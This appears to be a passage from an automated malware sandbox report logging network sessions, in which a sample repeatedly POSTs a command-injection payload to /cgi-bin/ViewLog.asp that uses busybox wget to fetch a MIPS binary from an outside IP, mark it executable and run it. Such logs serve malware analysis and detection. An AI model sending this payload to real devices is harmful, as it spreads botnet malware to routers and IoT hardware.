                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:36.984741926 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                270192.168.2.153875694.253.55.2388080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:01.236494064 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:01.453305960 CET378INHTTP/1.1 404 Not Found
                                                Server: nginx/1.14.0
                                                Date: Thu, 23 Nov 2023 04:21:01 GMT
                                                Content-Type: text/html
                                                Content-Length: 169
                                                Connection: keep-alive
                                                Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0</center></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                271192.168.2.155905894.122.127.2368080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:01.263154030 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                272192.168.2.153776662.29.102.1978080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:01.483494997 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                273192.168.2.153333694.121.69.1078080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:01.494523048 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                274192.168.2.155745285.69.25.568080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:01.630808115 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:02.171322107 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:03.227396011 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:05.339246988 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:09.691246033 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:18.138937950 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:35.546401978 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:10.361480951 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                275192.168.2.156011031.136.73.1548080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:01.639470100 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:02.203315020 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:03.323282957 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:05.595264912 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:10.203202009 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:19.162904024 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:37.594419956 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:14.457401037 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                276192.168.2.155085831.171.223.2148080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:01.652388096 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:01.919867992 CET556INHTTP/1.1 400 Bad Request
                                                Content-Type: text/html; charset=us-ascii
                                                Server: Microsoft-HTTPAPI/2.0
                                                Date: Thu, 23 Nov 2023 04:21:01 GMT
                                                Connection: close
                                                Content-Length: 311
                                                Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a
                                                Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                277192.168.2.154193494.158.130.278080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:02.258919954 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:03.355397940 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
